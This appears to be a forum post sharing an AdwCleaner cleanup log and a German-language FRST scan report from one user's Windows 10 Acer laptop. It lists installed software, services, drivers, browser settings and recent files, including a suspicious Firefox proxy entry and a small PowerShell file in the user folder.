# Start: 04-14-2021
# Duration: 00:00:04
# OS: Windows 10 Home
# Cleaned: 9
# Failed: 0
***** [ Services ] *****
No malicious services cleaned.
***** [ Folders ] *****
Deleted C:\Users\Jules\AppData\Local\Downloaded Installations\{DAD82379-C684-4D04-83D5-2B9934A9C362}
***** [ Files ] *****
No malicious files cleaned.
***** [ DLL ] *****
No malicious DLLs cleaned.
***** [ WMI ] *****
No malicious WMI cleaned.
***** [ Shortcuts ] *****
No malicious shortcuts cleaned.
***** [ Tasks ] *****
No malicious tasks cleaned.
***** [ Registry ] *****
Deleted HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\s.thebrighttag.com
Deleted HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\thebrighttag.com
Deleted HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\s.thebrighttag.com
Deleted HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\thebrighttag.com
Deleted HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\thebrighttag.com
Deleted HKLM\Software\Classes\Installer\Features\A38C15B2D5649AE4C9CDE19DE50DA96C
Deleted HKLM\Software\Classes\Installer\Products\A38C15B2D5649AE4C9CDE19DE50DA96C
Deleted HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\A38C15B2D5649AE4C9CDE19DE50DA96C
***** [ Chromium (and derivatives) ] *****
No malicious Chromium entries cleaned.
***** [ Chromium URLs ] *****
No malicious Chromium URLs cleaned.
***** [ Firefox (and derivatives) ] *****
No malicious Firefox entries cleaned.
***** [ Firefox URLs ] *****
No malicious Firefox URLs cleaned.
***** [ Hosts File Entries ] *****
No malicious hosts file entries cleaned.
***** [ Preinstalled Software ] *****
No Preinstalled Software cleaned.
*************************
[+] Delete Tracing Keys
[+] Reset Winsock
*************************
AdwCleaner[S00].txt - [7504 octets] - [14/04/2021 12:24:05]
########## EOF - C:\AdwCleaner\Logs\AdwCleaner[C00].txt ##########
Code:
ATTFilter Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 11-04-2021
durchgeführt von Jules (Administrator) auf JULES-ACERF17 (Acer Aspire F5-771G) (14-04-2021 12:28:42)
Gestartet von D:\Downloads
Geladene Profile: Jules
Platform: Windows 10 Home Version 2004 19041.867 (X64) Sprache: Deutsch (Deutschland)
Standard-Browser: FF
Start-Modus: Normal
==================== Prozesse (Nicht auf der Ausnahmeliste) =================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
(Acer Incorporated -> Acer Incorporated) C:\Program Files (x86)\Acer\AOP Framework\BackgroundAgent.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QAAdminAgent.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QAAgent.exe
(Dropbox, Inc -> Dropbox, Inc.) C:\Windows\System32\DbxSvc.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\a2guard.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\a2service.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\eppwsc.exe
(Intel Corporation - Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Intel(R) Rapid Storage Technology -> Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe
(Intel(R) Rapid Storage Technology -> Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe
(Intel(R) Smart Sound Technology -> Intel Corporation) C:\Windows\System32\IntelSSTAPO\ParameterService\ParameterService.exe
(Malwarebytes Inc -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Malwarebytes Inc -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\oobe\UserOOBEBroker.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Mozilla Corporation -> Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe <6>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe <2>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe <2>
(Realtek Semiconductor Corp -> Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
==================== Registry (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [16475392 2016-06-03] (Realtek Semiconductor Corp -> Realtek Semiconductor)
HKLM\...\Run: [RtHDVBg_TrueHarmony] => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [1454336 2016-06-03] (Realtek Semiconductor Corp -> Realtek Semiconductor)
HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe [320584 2016-06-01] (Intel(R) Rapid Storage Technology -> Intel Corporation)
HKLM\...\Run: [NvBackend] => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe [2398776 2016-06-15] (NVIDIA Corporation -> NVIDIA Corporation)
HKLM\...\Run: [ShadowPlay] => C:\WINDOWS\system32\nvspcap64.dll [1767760 2016-06-15] (NVIDIA Corporation PE Sign v2014 -> NVIDIA Corporation) [Datei ist nicht signiert]
HKLM\...\Run: [emsisoft anti-malware] => C:\Program Files\Emsisoft Anti-Malware\a2guard.exe [9247488 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
HKLM\...\Run: [Greenshot] => D:\Programme\Greenshot\Greenshot.exe [527792 2017-08-09] (Open Source Developer, Robin Krom -> Greenshot)
HKLM-x32\...\Run: [Dropbox] => C:\Program Files (x86)\Dropbox\Client\Dropbox.exe [7991528 2021-03-30] (Dropbox, Inc -> Dropbox, Inc.)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [OneDrive] => C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe [1941368 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [Steam] => D:\Games\Steam\steam.exe [4087528 2021-04-12] (Valve -> Valve Corporation)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [EpicGamesLauncher] => D:\Games\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe [33000928 2021-04-07] (Epic Games Inc. -> Epic Games, Inc.)
HKLM\...\Print\Monitors\PDF Architect 7 Monitor: C:\WINDOWS\system32\spool\DRIVERS\x64\pdf architect_pdfpmon_v.4.12.26.3.dll [932984 2019-11-05] (PDF Tools AG -> PDF Tools AG (hxxp://www.pdf-tools.com))
==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) ============
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
Task: {0EC15704-9DA5-4819-8078-A90B7EE9F84C} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonx86\Microsoft Shared\Office16\OLicenseHeartbeat.exe [1120136 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {3F8AEE16-2BA4-4B2F-87DB-FB1A4608C172} - System32\Tasks\Intel PTT EK Recertification => C:\Program Files\Intel\iCLS Client\IntelPTTEKRecertification.exe [855352 2016-02-19] (Intel(R) Trusted Connect Service -> Intel(R) Corporation)
Task: {42A29DB3-7C4B-4CA1-8AF0-BA4A9CB4EF69} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1557200 2021-01-25] (Adobe Inc. -> Adobe Inc.)
Task: {4E6C8427-B72C-4B08-8BA1-B3A286DEB17F} - System32\Tasks\BacKGroundAgent => C:\Program Files (x86)\Acer\AOP Framework\BackgroundAgent.exe [65752 2017-03-20] (Acer Incorporated -> Acer Incorporated)
Task: {5068E9F9-14E3-43C6-8700-9D46075E695D} - System32\Tasks\Microsoft\Office\Office Automatic Updates 2.0 => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [23248760 2021-04-01] (Microsoft Corporation -> Microsoft Corporation)
Task: {62B88DDB-114A-4AA3-B091-F34AEA7CDDCF} - System32\Tasks\Software Update Application => C:\ProgramData\OEM\UpgradeTool\ListCheck.exe [472992 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {67177320-28FA-44FB-94F6-A72E1D9B7F06} - System32\Tasks\DashlaneUpgradeCheck => net [Argument = start "Dashlane Upgrade Service"]
Task: {6A4854BF-8C01-4ABA-A121-A668EE19EB18} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [23248760 2021-04-01] (Microsoft Corporation -> Microsoft Corporation)
Task: {7B93C34D-0FCB-4E63-B718-9A48AAAA38D1} - System32\Tasks\ACCBackgroundApplication => C:\Program Files (x86)\Acer\Care Center\ACCStd.exe [4644256 2016-06-24] (Acer Incorporated -> )
Task: {7C827211-20DC-4E4F-9E5F-2EE67FCC9554} - System32\Tasks\Microsoft\Office\Office Feature Updates => C:\Program Files (x86)\Microsoft Office\root\Office16\sdxhelper.exe [114008 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {7F14A62D-A829-479D-AF0F-389B790CDC1B} - System32\Tasks\DropboxUpdateTaskMachineUA => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
Task: {8408EC83-FF93-4CB5-94F6-4B822BA3CA40} - System32\Tasks\FubToolByPLD => C:\OEM\Preload\FubTool\FubTool.exe [30976 2015-05-14] (Acer Incorporated -> )
Task: {AAEF01A6-0864-4290-9E80-939D613ADF65} - System32\Tasks\DropboxUpdateTaskMachineCore => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
Task: {AEF0A045-0991-4CF8-861D-AAAFDD98E640} - System32\Tasks\Microsoft\Office\Office Feature Updates Logon => C:\Program Files (x86)\Microsoft Office\root\Office16\sdxhelper.exe [114008 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {B06830CB-A336-4393-AB9A-B982E7372DA2} - System32\Tasks\ACC => C:\Program Files (x86)\Acer\Care Center\LiveUpdateChecker.exe [2919840 2016-06-24] (Acer Incorporated -> )
Task: {B4719A51-4DA3-4F0F-9780-293A00226B0C} - System32\Tasks\OneDrive Per-Machine Standalone Update Task => C:\Program Files (x86)\Microsoft OneDrive\OneDriveStandaloneUpdater.exe [2884984 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
Task: {C6FBEEC9-A6FB-4B2B-B475-8EA575F2C1EA} - System32\Tasks\Quick Access => C:\Program Files\Acer\Acer Quick Access\QALauncher.exe [421792 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {D23D6977-588A-4ACB-A50D-49D5C9A0F791} - System32\Tasks\Mozilla\Firefox Default Browser Agent E7CF176E110C211B => C:\Program Files (x86)\Mozilla Firefox\default-browser-agent.exe [696816 2021-03-27] (Mozilla Corporation -> Mozilla Foundation)
Task: {DB8CC784-34CB-4CD4-B5C0-8A4360CE1032} - System32\Tasks\AcerCMUpdateTask2.1.16258 => C:\Program Files (x86)\Acer\Amundsen\2.1.16258\AWC.exe [152880 2016-09-20] (Acer Incorporated -> )
Task: {E5EC4D02-FD4B-4AE8-B3E0-E9C83E5814ED} - System32\Tasks\Power Button => C:\Program Files\Acer\Acer Quick Access\ePowerButton_NB.exe [2766240 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {E7CE31AC-E513-4239-B705-C2D14616AB5C} - System32\Tasks\UbtFrameworkService => C:\Program Files\Acer\User Experience Improvement Program\Framework\TriggerFramework.exe [216296 2014-03-13] (Acer Incorporated -> TODO: <Company name>)
Task: {F80C051A-FE37-4F35-99FC-B6836CD94C02} - System32\Tasks\ACCAgent => C:\Program Files (x86)\Acer\Care Center\LiveUpdateAgent.exe [40352 2016-06-24] (Acer Incorporated -> )
Task: {FA8B32FD-D09C-4E5B-86E2-28A0B8CD9D13} - System32\Tasks\Oem\AcerJumpstartTask => C:\Program Files (x86)\Acer\Acer Jumpstart\hermes.exe [64320 2019-07-11] (Acer Incorporated -> Acer)
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
Task: C:\WINDOWS\Tasks\DropboxUpdateTaskMachineCore.job => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
Task: C:\WINDOWS\Tasks\DropboxUpdateTaskMachineUA.job => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
==================== Internet (Nicht auf der Ausnahmeliste) ====================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
Tcpip\Parameters: [DhcpNameServer] 192.168.2.1
Tcpip\..\Interfaces\{13ba1f29-b11b-4c89-bd59-8ebd7019079f}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{fa5cfcdb-be60-4cbd-aa46-40cdf5603901}: [DhcpNameServer] 192.168.2.1
Edge:
=======
Edge DefaultProfile: Default
Edge Profile: C:\Users\Jules\AppData\Local\Microsoft\Edge\User Data\Default [2021-04-13]
FireFox:
========
FF DefaultProfile: 2nuh14xm.default
FF ProfilePath: C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default [2021-04-14]
FF DownloadDir: D:\Downloads
FF Homepage: Mozilla\Firefox\Profiles\2nuh14xm.default -> hxxps://duckduckgo.com/
FF NetworkProxy: Mozilla\Firefox\Profiles\2nuh14xm.default -> backup.ftp", "83.78.129.154 "
FF Extension: (Dark Reader) - C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default\Extensions\addon@darkreader.org.xpi [2021-04-06]
FF Extension: (Adblock Plus - kostenloser Adblocker) - C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2021-01-28]
FF HKLM\...\Firefox\Extensions: [pdf_architect_7_conv_v.2@pdfforge.org] - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi
FF Extension: (PDF Architect 7 Creator) - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi [2019-10-02]
FF HKLM-x32\...\Firefox\Extensions: [pdf_architect_7_conv_v.2@pdfforge.org] - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.50918.0\npctrl.dll [2018-10-23] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\npctrl.dll [2018-10-23] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files (x86)\Microsoft Office\root\Office16\NPSPWRAP.DLL [2021-03-04] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2021-03-06] (Adobe Inc. -> Adobe Systems Inc.)
==================== Dienste (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
R2 a2AntiMalware; C:\Program Files\Emsisoft Anti-Malware\a2service.exe [9855880 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
S2 AdobeARMservice; C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe [169672 2021-01-25] (Adobe Inc. -> Adobe Inc.)
R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [8788368 2021-03-29] (Microsoft Corporation -> Microsoft Corporation)
S2 Dashlane Upgrade Service; C:\Program Files (x86)\Dashlane\Upgrade\DashlaneUpgradeService.exe [83992 2017-08-23] (Dashlane -> Dashlane, Inc.)
S2 dbupdate; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
S3 dbupdatem; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
R2 DbxSvc; C:\WINDOWS\system32\DbxSvc.exe [44272 2021-03-30] (Dropbox, Inc -> Dropbox, Inc.)
S2 DPMService; C:\Program Files\Dell\Dell Peripheral Manager\DPMService.exe [1585760 2020-11-25] (IndiLogic LLC -> Dell Inc.)
S3 EasyAntiCheat; C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat.exe [803952 2020-11-29] (EasyAntiCheat Oy -> EasyAntiCheat Ltd)
R2 EppWsc; C:\Program Files\Emsisoft Anti-Malware\EppWsc.exe [1545368 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
S3 FileSyncHelper; C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\FileSyncHelper.exe [2218872 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
S3 Intel(R) Security Assist; C:\Program Files (x86)\Intel\Intel(R) Security Assist\isa.exe [335872 2016-03-02] (Intel Corporation) [Datei ist nicht signiert]
S2 isaHelperSvc; C:\Program Files (x86)\Intel\Intel(R) Security Assist\isaHelperService.exe [8704 2016-03-02] (Intel Corporation) [Datei ist nicht signiert]
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe [7456464 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
S3 OneDrive Updater Service; C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\OneDriveUpdaterService.exe [2603368 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
S3 Origin Client Service; D:\Games\Origin\OriginClientService.exe [2536536 2021-04-07] (Electronic Arts, Inc. -> Electronic Arts)
S2 Origin Web Helper Service; D:\Games\Origin\OriginWebHelperService.exe [3481176 2021-04-07] (Electronic Arts, Inc. -> Electronic Arts)
S3 PDF Architect 7; C:\Program Files\PDF Architect 7\ws.exe [2579752 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
S3 PDF Architect 7 Creator; C:\Program Files\PDF Architect 7\creator\common\creator-ws.exe [692008 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
S2 PDF Architect 7 Update Service; C:\Program Files\PDF Architect 7\updater-ws.exe [1832232 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
S3 QALSvc; C:\Program Files\Acer\Acer Quick Access\QALSvc.exe [440224 2016-07-29] (Acer Incorporated -> Acer Incorporated)
S3 QASvc; C:\Program Files\Acer\Acer Quick Access\QASvc.exe [481696 2016-07-29] (Acer Incorporated -> Acer Incorporated)
S3 Rockstar Service; D:\Games\RockstarLauncher\RockstarService.exe [1631360 2020-12-02] (Rockstar Games, Inc. -> Rockstar Games)
S3 ss_conn_launcher_service; C:\WINDOWS\System32\Samsung\EasySetup\ss_conn_launcher.exe [182128 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
S3 UEIPSvc; C:\Program Files\Acer\User Experience Improvement Program\Framework\UBTService.exe [295840 2016-05-28] (Acer Incorporated -> acer)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [3004048 2019-12-07] (Microsoft Windows Publisher -> Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [103384 2019-12-07] (Microsoft Windows Publisher -> Microsoft Corporation)
===================== Treiber (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
S3 AppleKmdfFilter; C:\WINDOWS\System32\drivers\AppleKmdfFilter.sys [20640 2018-05-10] (WDKTestCert build,131474841775766162 -> Apple Inc.)
S3 AppleLowerFilter; C:\WINDOWS\System32\drivers\AppleLowerFilter.sys [35560 2018-05-10] (WDKTestCert build,131474841775766162 -> Apple Inc.)
S3 BthA2dp; C:\WINDOWS\System32\drivers\BthA2dp.sys [279040 2019-12-07] (Microsoft Corporation) [Datei ist nicht signiert]
S3 dg_ssudbus; C:\WINDOWS\system32\DRIVERS\ssudbus2.sys [159600 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
R3 DPMDriver; C:\WINDOWS\System32\drivers\DPMDriver.sys [133864 2020-10-01] (IndiLogic LLC -> Dell Inc.)
R1 epp; C:\PROGRAM FILES\EMSISOFT ANTI-MALWARE\epp.sys [155112 2020-02-17] (Microsoft Windows Hardware Compatibility Publisher -> Emsisoft Ltd)
R0 eppdisk; C:\WINDOWS\System32\drivers\eppdisk.sys [37776 2019-06-03] (Emsisoft Ltd -> Emsisoft Ltd)
S0 EppElam; C:\WINDOWS\System32\drivers\EppElam.sys [16808 2020-06-02] (Microsoft Windows Early Launch Anti-Malware Publisher -> Emsisoft Ltd)
R1 eppwfp; C:\Program Files\Emsisoft Anti-Malware\eppwfp.sys [126968 2020-11-02] (Microsoft Windows Hardware Compatibility Publisher -> Emsisoft Ltd)
R1 ESProtectionDriver; C:\WINDOWS\system32\drivers\mbae64.sys [199128 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
R3 LMDriver; C:\WINDOWS\System32\drivers\LMDriver.sys [31000 2018-05-15] (Acer Incorporated -> Acer Incorporated)
R2 MBAMChameleon; C:\WINDOWS\System32\Drivers\MbamChameleon.sys [220752 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
S0 MbamElam; C:\WINDOWS\System32\DRIVERS\MbamElam.sys [19912 2021-04-13] (Microsoft Windows Early Launch Anti-Malware Publisher -> Malwarebytes)
R3 MBAMFarflt; C:\WINDOWS\System32\DRIVERS\farflt.sys [198248 2021-04-14] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMProtection; C:\WINDOWS\system32\DRIVERS\mbam.sys [77496 2021-04-14] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMSwissArmy; C:\WINDOWS\System32\Drivers\mbamswissarmy.sys [248992 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMWebProtection; C:\WINDOWS\system32\DRIVERS\mwac.sys [157944 2021-04-14] (Malwarebytes Inc -> Malwarebytes)
R3 RadioShim; C:\WINDOWS\System32\drivers\RadioShim.sys [25368 2018-05-15] (Acer Incorporated -> Acer Incorporated)
S3 ssudmdm; C:\WINDOWS\system32\DRIVERS\ssudmdm.sys [167280 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
S3 ss_conn_usb_driver2; C:\WINDOWS\System32\Drivers\ss_conn_usb_driver2.sys [43376 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
S3 WdBoot; C:\WINDOWS\system32\drivers\WdBoot.sys [46688 2019-12-07] (Microsoft Windows Early Launch Anti-Malware Publisher -> Microsoft Corporation)
S3 WdFilter; C:\WINDOWS\system32\drivers\WdFilter.sys [350136 2019-12-07] (Microsoft Windows -> Microsoft Corporation)
S3 WdNisDrv; C:\WINDOWS\System32\Drivers\WdNisDrv.sys [54200 2019-12-07] (Microsoft Windows -> Microsoft Corporation)
==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) =========
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
2021-04-14 12:23 - 2021-04-14 12:24 - 000000000 ____D C:\AdwCleaner
2021-04-14 12:17 - 2021-04-14 12:17 - 000198248 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\farflt.sys
2021-04-14 12:17 - 2021-04-14 12:17 - 000157944 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mwac.sys
2021-04-14 12:17 - 2021-04-14 12:17 - 000077496 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbam.sys
2021-04-14 12:17 - 2021-04-14 12:17 - 000000000 ____D C:\Users\Jules\AppData\LocalLow\IGDump
2021-04-14 12:14 - 2021-04-14 12:14 - 000000145 _____ C:\Users\Jules\D3d1kmgr.ps1
2021-04-13 21:50 - 2021-04-13 21:50 - 000220752 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MbamChameleon.sys
2021-04-13 21:46 - 2021-04-13 21:46 - 000248992 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbamswissarmy.sys
2021-04-13 21:46 - 2021-04-13 21:46 - 000199128 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbae64.sys
2021-04-13 21:46 - 2021-04-13 21:46 - 000019912 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MbamElam.sys
2021-04-13 21:46 - 2021-04-13 21:46 - 000002037 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes.lnk
2021-04-13 21:46 - 2021-04-13 21:46 - 000002025 _____ C:\Users\Public\Desktop\Malwarebytes.lnk
2021-04-13 21:46 - 2021-04-13 21:46 - 000002025 _____ C:\ProgramData\Desktop\Malwarebytes.lnk
2021-04-13 21:46 - 2021-04-13 21:46 - 000000000 ____D C:\Users\Jules\AppData\Local\mbam
2021-04-13 21:46 - 2021-04-13 21:46 - 000000000 ____D C:\ProgramData\Malwarebytes
2021-04-13 21:46 - 2021-04-13 21:46 - 000000000 ____D C:\Program Files\Malwarebytes
2021-04-13 17:14 - 2021-04-13 17:14 - 000000000 ____D C:\Users\Jules\AppData\Roaming\Greenshot
2021-04-13 17:14 - 2021-04-13 17:14 - 000000000 ____D C:\Users\Jules\AppData\Local\Greenshot
2021-04-13 17:14 - 2021-04-13 17:14 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Greenshot
2021-04-13 16:23 - 2021-04-14 12:29 - 000000000 ____D C:\FRST
2021-04-07 12:48 - 2021-04-13 21:49 - 000000000 ____D C:\Program Files (x86)\Microsoft OneDrive
2021-04-07 12:48 - 2021-04-10 10:26 - 000003206 _____ C:\WINDOWS\system32\Tasks\OneDrive Per-Machine Standalone Update Task
2021-04-07 12:48 - 2021-04-10 10:26 - 000002194 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2021-04-07 12:48 - 2021-04-07 12:48 - 000000000 ___RD C:\Users\Default\OneDrive
2021-04-02 11:55 - 2021-04-02 11:55 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-stable.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-dev.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000047600 _____ (Dropbox, Inc.) C:\WINDOWS\system32\Drivers\dbx-canary.sys
2021-03-30 19:52 - 2021-03-30 19:52 - 000044272 _____ (Dropbox, Inc.) C:\WINDOWS\system32\DbxSvc.exe
2021-03-28 22:46 - 2021-03-28 22:46 - 000000000 ____D C:\WINDOWS\system32\Tasks\Mozilla
2021-03-27 12:16 - 2021-04-13 21:49 - 000000000 ____D C:\Program Files (x86)\Mozilla Firefox
==================== Ein Monat (geänderte) ==================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
